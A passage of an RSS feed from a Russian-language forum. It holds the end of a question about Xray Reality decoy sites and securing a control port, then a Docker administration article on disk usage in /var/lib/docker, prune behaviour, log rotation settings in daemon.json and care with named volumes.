Вопрос к залу. Какой сайт-«жертву» для Reality вы держите на проде — крупный CDN, нейтральный зарубежный ресурс или собственный домен? И чем закрываете управляющий 62050: голым ufw по IP панели, WireGuard/приватной сетью между панелью и нодами или отдельным туннелем? Любопытно собрать разные схемы.]]></description><pubDate>Tue, 25 Aug 2026 22:13:26 +0000</pubDate></item><item><title>&#x418;&#x43D;&#x432;&#x435;&#x43D;&#x442;&#x430;&#x440;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F; /var/lib/docker: &#x447;&#x442;&#x43E; &#x441;&#x44A;&#x435;&#x434;&#x430;&#x435;&#x442; &#x434;&#x438;&#x441;&#x43A; &#x438; &#x43F;&#x43E;&#x447;&#x435;&#x43C;&#x443; &#x448;&#x442;&#x430;&#x442;&#x43D;&#x430;&#x44F; &#x443;&#x431;&#x43E;&#x440;&#x43A;&#x430; &#x44D;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x435;&#x442;</title><link><![CDATA[https://openode.xyz/topic/2056-%D0%B8%D0%BD%D0%B2%D0%B5%D0%BD%D1%82%D0%B0%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F-varlibdocker-%D1%87%D1%82%D0%BE-%D1%81%D1%8A%D0%B5%D0%B4%D0%B0%D0%B5%D1%82-%D0%B4%D0%B8%D1%81%D0%BA-%D0%B8-%D0%BF%D0%BE%D1%87%D0%B5%D0%BC%D1%83-%D1%88%D1%82%D0%B0%D1%82%D0%BD%D0%B0%D1%8F-%D1%83%D0%B1%D0%BE%D1%80%D0%BA%D0%B0-%D1%8D%D1%82%D0%BE-%D0%BF%D1%80%D0%BE%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D0%B5%D1%82/?do=findComment&comment=9226]]></link><description>&#x427;&#x435;&#x442;&#x44B;&#x440;&#x435; &#x441;&#x442;&#x430;&#x442;&#x44C;&#x438; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x434;&#x430; &#x432;&#x43D;&#x443;&#x442;&#x440;&#x438; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x430; &#x434;&#x43E;&#x43A;&#x435;&#x440;&#x430;

&#x420;&#x430;&#x437;&#x434;&#x435;&#x43B; &#x43F;&#x43E;&#x434; &#x43A;&#x43E;&#x440;&#x435;&#x43D;&#x44C; &#x437;&#x430;&#x43F;&#x43E;&#x43B;&#x43D;&#x435;&#x43D; &#x43D;&#x430; 95 %, &#x43C;&#x43E;&#x43D;&#x438;&#x442;&#x43E;&#x440;&#x438;&#x43D;&#x433; &#x43E;&#x431; &#x44D;&#x442;&#x43E;&#x43C; &#x443;&#x436;&#x435; &#x43D;&#x430;&#x43F;&#x43E;&#x43C;&#x43D;&#x438;&#x43B;. &#x417;&#x430;&#x43F;&#x443;&#x441;&#x43A;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x448;&#x442;&#x430;&#x442;&#x43D;&#x430;&#x44F; &#x443;&#x431;&#x43E;&#x440;&#x43A;&#x430; &#x2014; docker system prune -f, &#x2014; &#x440;&#x430;&#x43F;&#x43E;&#x440;&#x442;&#x443;&#x435;&#x442; &#x43F;&#x440;&#x43E; &#x43E;&#x441;&#x432;&#x43E;&#x431;&#x43E;&#x436;&#x434;&#x451;&#x43D;&#x43D;&#x443;&#x44E; &#x43F;&#x430;&#x440;&#x443; &#x441;&#x43E;&#x442;&#x435;&#x43D; &#x43C;&#x435;&#x433;&#x430;&#x431;&#x430;&#x439;&#x442;, &#x438; &#x43D;&#x430; &#x44D;&#x442;&#x43E;&#x43C; &#x432;&#x441;&#x451; &#x437;&#x430;&#x43A;&#x430;&#x43D;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F;: &#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x43D;&#x43E;&#x433;&#x43E; &#x43C;&#x435;&#x441;&#x442;&#x430; &#x43A;&#x430;&#x43A; &#x43D;&#x435; &#x431;&#x44B;&#x43B;&#x43E;, &#x442;&#x430;&#x43A; &#x438; &#x43D;&#x435;&#x442;. &#x415;&#x449;&#x451; &#x447;&#x435;&#x440;&#x435;&#x437; &#x447;&#x430;&#x441; &#x434;&#x435;&#x43C;&#x43E;&#x43D; &#x43E;&#x442;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x43F;&#x43E;&#x434;&#x43D;&#x438;&#x43C;&#x430;&#x442;&#x44C; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x44B;, &#x430; du &#x43F;&#x43E; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x443; /var/lib/docker &#x432;&#x44B;&#x434;&#x430;&#x451;&#x442; &#x441;&#x43E;&#x440;&#x43E;&#x43A; &#x433;&#x438;&#x433;&#x430;&#x431;&#x430;&#x439;&#x442;. 

&#x41A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430; &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x438;&#x441;&#x43F;&#x440;&#x430;&#x432;&#x43D;&#x430;. &#x41F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x43A;&#x440;&#x443;&#x433; &#x435;&#x451; &#x43E;&#x431;&#x44F;&#x437;&#x430;&#x43D;&#x43D;&#x43E;&#x441;&#x442;&#x435;&#x439; &#x43E;&#x43F;&#x438;&#x441;&#x430;&#x43D; &#x432; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438; &#x434;&#x43E;&#x432;&#x43E;&#x43B;&#x44C;&#x43D;&#x43E; &#x443;&#x437;&#x43A;&#x43E;, &#x438; &#x441;&#x43E;&#x432;&#x43F;&#x430;&#x434;&#x430;&#x435;&#x442; &#x43E;&#x43D; &#x441; &#x43E;&#x436;&#x438;&#x434;&#x430;&#x43D;&#x438;&#x44F;&#x43C;&#x438; &#x430;&#x434;&#x43C;&#x438;&#x43D;&#x438;&#x441;&#x442;&#x440;&#x430;&#x442;&#x43E;&#x440;&#x430; &#x434;&#x430;&#x43B;&#x435;&#x43A;&#x43E; &#x43D;&#x435; &#x432;&#x441;&#x435;&#x433;&#x434;&#x430;. &#x420;&#x430;&#x437;&#x431;&#x435;&#x440;&#x451;&#x43C; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433; &#x43F;&#x43E; &#x441;&#x442;&#x430;&#x442;&#x44C;&#x44F;&#x43C; &#x440;&#x430;&#x441;&#x445;&#x43E;&#x434;&#x430; &#x2014; &#x438; &#x43F;&#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x438;&#x43C;, &#x43A;&#x430;&#x43A;&#x438;&#x43C; &#x438;&#x43D;&#x441;&#x442;&#x440;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x43E;&#x43C; &#x431;&#x435;&#x440;&#x451;&#x442;&#x441;&#x44F; &#x43A;&#x430;&#x436;&#x434;&#x430;&#x44F; &#x438;&#x437; &#x43D;&#x438;&#x445;. 

&#x2139;&#xFE0F; &#x421;&#x43F;&#x440;&#x430;&#x432;&#x43A;&#x430; 
&#x41F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; &#x442;&#x43E;&#x433;&#x43E;, &#x447;&#x442;&#x43E; &#x437;&#x430;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; docker system prune &#x431;&#x435;&#x437; &#x435;&#x434;&#x438;&#x43D;&#x43E;&#x433;&#x43E; &#x444;&#x43B;&#x430;&#x433;&#x430;, &#x432;&#x44B;&#x433;&#x43B;&#x44F;&#x434;&#x438;&#x442; &#x442;&#x430;&#x43A;: &#x43E;&#x441;&#x442;&#x430;&#x43D;&#x43E;&#x432;&#x43B;&#x435;&#x43D;&#x43D;&#x44B;&#x435; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x44B;, &#x441;&#x435;&#x442;&#x438; &#x431;&#x435;&#x437; &#x435;&#x434;&#x438;&#x43D;&#x43E;&#x433;&#x43E; &#x43F;&#x43E;&#x442;&#x440;&#x435;&#x431;&#x438;&#x442;&#x435;&#x43B;&#x44F;, dangling-&#x43E;&#x431;&#x440;&#x430;&#x437;&#x44B;, &#x43D;&#x435;&#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x435;&#x43C;&#x44B;&#x439; &#x43A;&#x44D;&#x448; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x438;. &#x41D;&#x438; &#x43B;&#x43E;&#x433;&#x438; &#x436;&#x438;&#x432;&#x44B;&#x445; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x43E;&#x432;, &#x43D;&#x438; &#x442;&#x43E;&#x43C;&#x430; &#x432; &#x44D;&#x442;&#x43E;&#x442; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x43D;&#x435; &#x432;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x2014; &#x430; &#x43E;&#x441;&#x43D;&#x43E;&#x432;&#x43D;&#x43E;&#x439; &#x43E;&#x431;&#x44A;&#x451;&#x43C; &#x447;&#x430;&#x449;&#x435; &#x432;&#x441;&#x435;&#x433;&#x43E; &#x43D;&#x430;&#x43A;&#x430;&#x43F;&#x43B;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x432; &#x43D;&#x438;&#x445;. 


&#x418;&#x43D;&#x432;&#x435;&#x43D;&#x442;&#x430;&#x440;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F; &#x434;&#x43E; &#x442;&#x43E;&#x433;&#x43E;, &#x43A;&#x430;&#x43A; &#x447;&#x442;&#x43E;-&#x442;&#x43E; &#x443;&#x434;&#x430;&#x43B;&#x435;&#x43D;&#x43E;

&#x421;&#x442;&#x430;&#x440;&#x442;&#x43E;&#x432;&#x430;&#x442;&#x44C; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x440;&#x43E;&#x432;&#x43D;&#x43E; &#x441; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x44B;: 

docker system df

TYPE            TOTAL   ACTIVE   SIZE      RECLAIMABLE
Images          5       2        16.43MB   11.63MB (70%)
Containers      2       0        212B      212B (100%)
Local Volumes   2       1        36B       0B (0%)

&#x41A;&#x43B;&#x44E;&#x447;&#x435;&#x432;&#x430;&#x44F; &#x43A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43A;&#x430; &#x2014; RECLAIMABLE, &#x43E;&#x43D;&#x430; &#x437;&#x430;&#x434;&#x430;&#x451;&#x442; &#x43F;&#x43E;&#x442;&#x43E;&#x43B;&#x43E;&#x43A;: &#x431;&#x43E;&#x43B;&#x44C;&#x448;&#x435; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x43E;&#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x438;&#x442;&#x44C; &#x43D;&#x435; &#x432;&#x44B;&#x439;&#x434;&#x435;&#x442; &#x43F;&#x440;&#x438; &#x432;&#x441;&#x451;&#x43C; &#x436;&#x435;&#x43B;&#x430;&#x43D;&#x438;&#x438;. &#x41E;&#x442;&#x434;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x441;&#x440;&#x430;&#x432;&#x43D;&#x438;&#x442;&#x435; &#x441;&#x443;&#x43C;&#x43C;&#x443; &#x43F;&#x43E; &#x43A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43A;&#x435; SIZE &#x441; &#x444;&#x430;&#x43A;&#x442;&#x438;&#x447;&#x435;&#x441;&#x43A;&#x438;&#x43C; &#x432;&#x435;&#x441;&#x43E;&#x43C; &#x43A;&#x430;&#x442;&#x430;&#x43B;&#x43E;&#x433;&#x430; /var/lib/docker. &#x417;&#x430;&#x43C;&#x435;&#x442;&#x43D;&#x44B;&#x439; &#x440;&#x430;&#x437;&#x440;&#x44B;&#x432; &#x43E;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x435;&#x442;, &#x447;&#x442;&#x43E; &#x43E;&#x431;&#x44A;&#x451;&#x43C; &#x443;&#x448;&#x451;&#x43B; &#x43C;&#x438;&#x43C;&#x43E; &#x44D;&#x442;&#x43E;&#x439; &#x442;&#x430;&#x431;&#x43B;&#x438;&#x446;&#x44B;, &#x2014; &#x430; &#x43C;&#x438;&#x43C;&#x43E; &#x43D;&#x435;&#x451; &#x43F;&#x440;&#x43E;&#x445;&#x43E;&#x434;&#x44F;&#x442; &#x43B;&#x43E;&#x433;&#x438; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x43E;&#x432;. &#x414;&#x435;&#x442;&#x430;&#x43B;&#x438;&#x437;&#x430;&#x446;&#x438;&#x44F; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x444;&#x43B;&#x430;&#x433;&#x43E;&#x43C; -v: &#x43A;&#x430;&#x436;&#x434;&#x430;&#x44F; &#x441;&#x442;&#x440;&#x43E;&#x43A;&#x430; &#x440;&#x430;&#x437;&#x432;&#x43E;&#x440;&#x430;&#x447;&#x438;&#x432;&#x430;&#x435;&#x442;&#x441;&#x44F; &#x432; &#x43F;&#x435;&#x440;&#x435;&#x447;&#x435;&#x43D;&#x44C; &#x43A;&#x43E;&#x43D;&#x43A;&#x440;&#x435;&#x442;&#x43D;&#x44B;&#x445; &#x43E;&#x431;&#x440;&#x430;&#x437;&#x43E;&#x432;, &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x43E;&#x432; &#x438; &#x442;&#x43E;&#x43C;&#x43E;&#x432;, &#x441; &#x43A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43A;&#x430;&#x43C;&#x438; SHARED SIZE &#x438; UNIQUE SIZE. &#x422;&#x430;&#x43A; &#x43F;&#x440;&#x43E;&#x449;&#x435; &#x432;&#x441;&#x435;&#x433;&#x43E; &#x432;&#x44B;&#x447;&#x438;&#x441;&#x43B;&#x438;&#x442;&#x44C; &#x43E;&#x431;&#x440;&#x430;&#x437;-&#x442;&#x44F;&#x436;&#x435;&#x43B;&#x43E;&#x432;&#x435;&#x441;. 

&#x41A;&#x43E;&#x43B;&#x43E;&#x43D;&#x43A;&#x430; &#xAB;system prune&#xBB; &#x43E;&#x43F;&#x438;&#x441;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x443; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x44B; &#x431;&#x435;&#x437; &#x434;&#x43E;&#x43F;&#x43E;&#x43B;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x44B;&#x445; &#x444;&#x43B;&#x430;&#x433;&#x43E;&#x432;. &#x421;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x43E; &#x43F;&#x43E; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438; Docker.

&#x420;&#x43E;&#x442;&#x430;&#x446;&#x438;&#x44F;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x43E;&#x439; &#x438;&#x437; &#x43A;&#x43E;&#x440;&#x43E;&#x431;&#x43A;&#x438; &#x43D;&#x435;&#x442;

&#x417;&#x430; &#x43B;&#x43E;&#x433;&#x438; &#x43F;&#x43E; &#x443;&#x43C;&#x43E;&#x43B;&#x447;&#x430;&#x43D;&#x438;&#x44E; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x435;&#x442; &#x434;&#x440;&#x430;&#x439;&#x432;&#x435;&#x440; json-file. &#x417;&#x43D;&#x430;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x435;&#x433;&#x43E; &#x43E;&#x43F;&#x446;&#x438;&#x439; &#x438;&#x437; &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x438;: max-size &#x2014; -1, &#x442;&#x43E; &#x435;&#x441;&#x442;&#x44C; &#x431;&#x435;&#x437; &#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x430;, max-file &#x2014; 1, compress &#x2014; false. &#x412;&#x434;&#x43E;&#x431;&#x430;&#x432;&#x43E;&#x43A; &#x43F;&#x430;&#x440;&#x430;&#x43C;&#x435;&#x442;&#x440; max-file &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E; &#x438;&#x433;&#x43D;&#x43E;&#x440;&#x438;&#x440;&#x443;&#x435;&#x442;&#x441;&#x44F;, &#x43F;&#x43E;&#x43A;&#x430; &#x43D;&#x435; &#x432;&#x44B;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D; max-size. &#x418;&#x442;&#x43E;&#x433;: &#x440;&#x43E;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x43D;&#x435; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x435;&#x43D;&#x430;, &#x438; &#x440;&#x430;&#x437;&#x433;&#x43E;&#x432;&#x43E;&#x440;&#x447;&#x438;&#x432;&#x44B;&#x439; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440; &#x43B;&#x44C;&#x451;&#x442; &#x432;&#x441;&#x451; &#x432; &#x435;&#x434;&#x438;&#x43D;&#x441;&#x442;&#x432;&#x435;&#x43D;&#x43D;&#x44B;&#x439; &#x444;&#x430;&#x439;&#x43B;, &#x43F;&#x43E;&#x43A;&#x430; &#x440;&#x430;&#x437;&#x434;&#x435;&#x43B; &#x43D;&#x435; &#x43A;&#x43E;&#x43D;&#x447;&#x438;&#x442;&#x441;&#x44F;. 

&#x41E;&#x446;&#x435;&#x43D;&#x438;&#x442;&#x44C; &#x43C;&#x430;&#x441;&#x448;&#x442;&#x430;&#x431;: 

du -sh /var/lib/docker/containers/*/*-json.log | sort -h | tail -5

&#x41F;&#x440;&#x430;&#x432;&#x438;&#x442;&#x441;&#x44F; &#x447;&#x435;&#x440;&#x435;&#x437; /etc/docker/daemon.json: 

&#x2705; &#x41A;&#x430;&#x43A; &#x43F;&#x440;&#x430;&#x432;&#x438;&#x43B;&#x44C;&#x43D;&#x43E; 
{
  "log-driver": "local",
  "log-opts": { "max-size": "20m", "max-file": "5" }
}
&#x41D;&#x430; &#x434;&#x440;&#x430;&#x439;&#x432;&#x435;&#x440; local &#x434;&#x43E;&#x43A;&#x443;&#x43C;&#x435;&#x43D;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x443;&#x43A;&#x430;&#x437;&#x44B;&#x432;&#x430;&#x435;&#x442; &#x43F;&#x440;&#x44F;&#x43C;&#x43E;: &#x440;&#x43E;&#x442;&#x430;&#x446;&#x438;&#x44F; &#x443; &#x43D;&#x435;&#x433;&#x43E; &#x432;&#x43A;&#x43B;&#x44E;&#x447;&#x435;&#x43D;&#x430; &#x438;&#x437;&#x43D;&#x430;&#x447;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; (20 &#x41C;&#x411; &#x43D;&#x430; &#x444;&#x430;&#x439;&#x43B;, &#x43F;&#x44F;&#x442;&#x44C; &#x444;&#x430;&#x439;&#x43B;&#x43E;&#x432;, &#x441;&#x43E; &#x441;&#x436;&#x430;&#x442;&#x438;&#x435;&#x43C;), &#x430; &#x444;&#x43E;&#x440;&#x43C;&#x430;&#x442; &#x445;&#x440;&#x430;&#x43D;&#x435;&#x43D;&#x438;&#x44F; &#x44D;&#x43A;&#x43E;&#x43D;&#x43E;&#x43C;&#x43D;&#x435;&#x435;. &#x412;&#x437;&#x430;&#x43C;&#x435;&#x43D; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x441;&#x43C;&#x438;&#x440;&#x438;&#x442;&#x44C;&#x441;&#x44F; &#x441; &#x43E;&#x434;&#x43D;&#x438;&#x43C; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D;&#x438;&#x435;&#x43C;: docker logs &#x43F;&#x440;&#x43E;&#x434;&#x43E;&#x43B;&#x436;&#x438;&#x442; &#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x442;&#x44C;, &#x430; &#x432;&#x43E;&#x442; &#x432;&#x43D;&#x435;&#x448;&#x43D;&#x438;&#x435; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x44B;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x43F;&#x430;&#x440;&#x441;&#x44F;&#x442; *-json.log &#x441; &#x434;&#x438;&#x441;&#x43A;&#x430;, &#x43E;&#x441;&#x442;&#x430;&#x43D;&#x443;&#x442;&#x441;&#x44F; &#x43D;&#x438; &#x441; &#x447;&#x435;&#x43C;. &#x41F;&#x440;&#x438; &#x43D;&#x430;&#x43B;&#x438;&#x447;&#x438;&#x438; &#x442;&#x430;&#x43A;&#x438;&#x445; &#x430;&#x433;&#x435;&#x43D;&#x442;&#x43E;&#x432; &#x440;&#x430;&#x437;&#x443;&#x43C;&#x43D;&#x435;&#x435; &#x437;&#x430;&#x434;&#x435;&#x440;&#x436;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x43D;&#x430; json-file, &#x43F;&#x440;&#x43E;&#x43F;&#x438;&#x441;&#x430;&#x432; &#x435;&#x43C;&#x443; max-size &#x438; max-file &#x44F;&#x432;&#x43D;&#x43E;. 


&#x422;&#x443;&#x442; &#x436;&#x435; &#x438; &#x442;&#x438;&#x43F;&#x43E;&#x432;&#x430;&#x44F; &#x43B;&#x43E;&#x432;&#x443;&#x448;&#x43A;&#x430;. &#x41D;&#x43E;&#x432;&#x44B;&#x435; &#x43D;&#x430;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x43A;&#x438; &#x434;&#x440;&#x430;&#x439;&#x432;&#x435;&#x440;&#x430; &#x438;&#x437; daemon.json &#x440;&#x430;&#x441;&#x43F;&#x440;&#x43E;&#x441;&#x442;&#x440;&#x430;&#x43D;&#x44F;&#x44E;&#x442;&#x441;&#x44F; &#x438;&#x441;&#x43A;&#x43B;&#x44E;&#x447;&#x438;&#x442;&#x435;&#x43B;&#x44C;&#x43D;&#x43E; &#x43D;&#x430; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x44B;, &#x441;&#x43E;&#x437;&#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x43F;&#x43E;&#x437;&#x436;&#x435; &#x43F;&#x440;&#x430;&#x432;&#x43A;&#x438;, &#x2014; &#x43F;&#x435;&#x440;&#x435;&#x437;&#x430;&#x433;&#x440;&#x443;&#x437;&#x43A;&#x430; &#x434;&#x435;&#x43C;&#x43E;&#x43D;&#x430; &#x440;&#x430;&#x43D;&#x435;&#x435; &#x441;&#x43E;&#x437;&#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x43C; &#x43D;&#x438;&#x447;&#x435;&#x433;&#x43E; &#x43D;&#x435; &#x434;&#x430;&#x441;&#x442;. &#x423;&#x437;&#x43D;&#x430;&#x442;&#x44C;, &#x447;&#x442;&#x43E; &#x440;&#x435;&#x430;&#x43B;&#x44C;&#x43D;&#x43E; &#x438;&#x441;&#x43F;&#x43E;&#x43B;&#x44C;&#x437;&#x443;&#x435;&#x442;&#x441;&#x44F;: 

docker inspect -f '{{.HostConfig.LogConfig.Type}}' &#x438;&#x43C;&#x44F;_&#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x430;

&#x423;&#x432;&#x438;&#x434;&#x435;&#x43B;&#x438; &#x43F;&#x440;&#x435;&#x436;&#x43D;&#x438;&#x439; json-file &#x431;&#x435;&#x437; &#x43E;&#x43F;&#x446;&#x438;&#x439; &#x2014; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440; &#x43F;&#x440;&#x438;&#x434;&#x451;&#x442;&#x441;&#x44F; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x43E;&#x437;&#x434;&#x430;&#x442;&#x44C; &#x447;&#x435;&#x440;&#x435;&#x437; docker compose up -d --force-recreate; &#x43F;&#x440;&#x43E;&#x441;&#x442;&#x43E;&#x433;&#x43E; &#x440;&#x435;&#x441;&#x442;&#x430;&#x440;&#x442;&#x430; &#x43D;&#x435;&#x434;&#x43E;&#x441;&#x442;&#x430;&#x442;&#x43E;&#x447;&#x43D;&#x43E;. &#x421;&#x440;&#x43E;&#x447;&#x43D;&#x43E; &#x43E;&#x441;&#x432;&#x43E;&#x431;&#x43E;&#x434;&#x438;&#x442;&#x44C; &#x43C;&#x435;&#x441;&#x442;&#x43E; &#x43F;&#x43E;&#x43C;&#x43E;&#x436;&#x435;&#x442; &#x43E;&#x431;&#x43D;&#x443;&#x43B;&#x435;&#x43D;&#x438;&#x435; &#x444;&#x430;&#x439;&#x43B;&#x430;: 

truncate -s 0 $(docker inspect -f '{{.LogPath}}' &#x438;&#x43C;&#x44F;_&#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x430;)

&#x420;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x435;&#x442; &#x43E;&#x434;&#x43D;&#x43E;&#x43A;&#x440;&#x430;&#x442;&#x43D;&#x43E;: &#x43F;&#x43E;&#x43A;&#x430; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x43D;&#x435; &#x438;&#x437;&#x43C;&#x435;&#x43D;&#x435;&#x43D;&#x430;, &#x444;&#x430;&#x439;&#x43B; &#x43D;&#x430;&#x431;&#x435;&#x440;&#x451;&#x442; &#x43F;&#x440;&#x435;&#x436;&#x43D;&#x438;&#x439; &#x432;&#x435;&#x441; &#x441;&#x43D;&#x43E;&#x432;&#x430;. 

&#x414;&#x430;&#x43D;&#x43D;&#x44B;&#x435;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x435; &#x443;&#x431;&#x43E;&#x440;&#x43A;&#x430; &#x43E;&#x431;&#x445;&#x43E;&#x434;&#x438;&#x442; &#x43D;&#x430;&#x43C;&#x435;&#x440;&#x435;&#x43D;&#x43D;&#x43E;

&#x26A0;&#xFE0F; &#x41E;&#x441;&#x442;&#x43E;&#x440;&#x43E;&#x436;&#x43D;&#x43E; 
&#x422;&#x43E;&#x43C;&#x430; &#x43E;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x435;&#x43D;&#x44B; &#x432; &#x441;&#x442;&#x43E;&#x440;&#x43E;&#x43D;&#x435; &#x43D;&#x435; &#x43F;&#x43E; &#x43D;&#x435;&#x434;&#x43E;&#x441;&#x43C;&#x43E;&#x442;&#x440;&#x443;: &#x432; &#x43D;&#x438;&#x445; &#x43B;&#x435;&#x436;&#x430;&#x442; &#x434;&#x430;&#x43D;&#x43D;&#x44B;&#x435;. &#x41A;&#x43B;&#x44E;&#x447; --volumes &#x440;&#x430;&#x441;&#x448;&#x438;&#x440;&#x44F;&#x435;&#x442; &#x443;&#x431;&#x43E;&#x440;&#x43A;&#x443; &#x442;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43D;&#x430; &#x430;&#x43D;&#x43E;&#x43D;&#x438;&#x43C;&#x43D;&#x44B;&#x435; &#x442;&#x43E;&#x43C;&#x430;, &#x438;&#x43C;&#x435;&#x43D;&#x43E;&#x432;&#x430;&#x43D;&#x43D;&#x44B;&#x435; &#x43F;&#x440;&#x438; &#x44D;&#x442;&#x43E;&#x43C; &#x443;&#x446;&#x435;&#x43B;&#x435;&#x44E;&#x442;. &#x414;&#x43E; &#x43D;&#x438;&#x445; &#x434;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442;&#x441;&#x44F; docker volume prune --all &#x2014; &#x43D;&#x43E; &#x441;&#x43D;&#x430;&#x447;&#x430;&#x43B;&#x430; &#x441;&#x442;&#x43E;&#x438;&#x442; &#x43F;&#x440;&#x43E;&#x431;&#x435;&#x436;&#x430;&#x442;&#x44C; &#x433;&#x43B;&#x430;&#x437;&#x430;&#x43C;&#x438; &#x441;&#x43F;&#x438;&#x441;&#x43E;&#x43A; &#x438; &#x443;&#x434;&#x43E;&#x441;&#x442;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C;&#x441;&#x44F;, &#x447;&#x442;&#x43E; &#x442;&#x430;&#x43C; &#x43D;&#x435; &#x43E;&#x43A;&#x430;&#x436;&#x435;&#x442;&#x441;&#x44F; &#x431;&#x430;&#x437;&#x44B; Immich &#x438;&#x43B;&#x438; &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x438; Home Assistant. &#x410;&#x43D;&#x430;&#x43B;&#x43E;&#x433;&#x438;&#x447;&#x43D;&#x43E; &#x432;&#x435;&#x434;&#x451;&#x442; &#x441;&#x435;&#x431;&#x44F; docker compose down: &#x442;&#x43E;&#x43C;&#x430; &#x43E;&#x441;&#x442;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43D;&#x430; &#x43C;&#x435;&#x441;&#x442;&#x435;, &#x441;&#x43D;&#x435;&#x441;&#x442;&#x438; &#x438;&#x445; &#x441;&#x43F;&#x43E;&#x441;&#x43E;&#x431;&#x435;&#x43D; 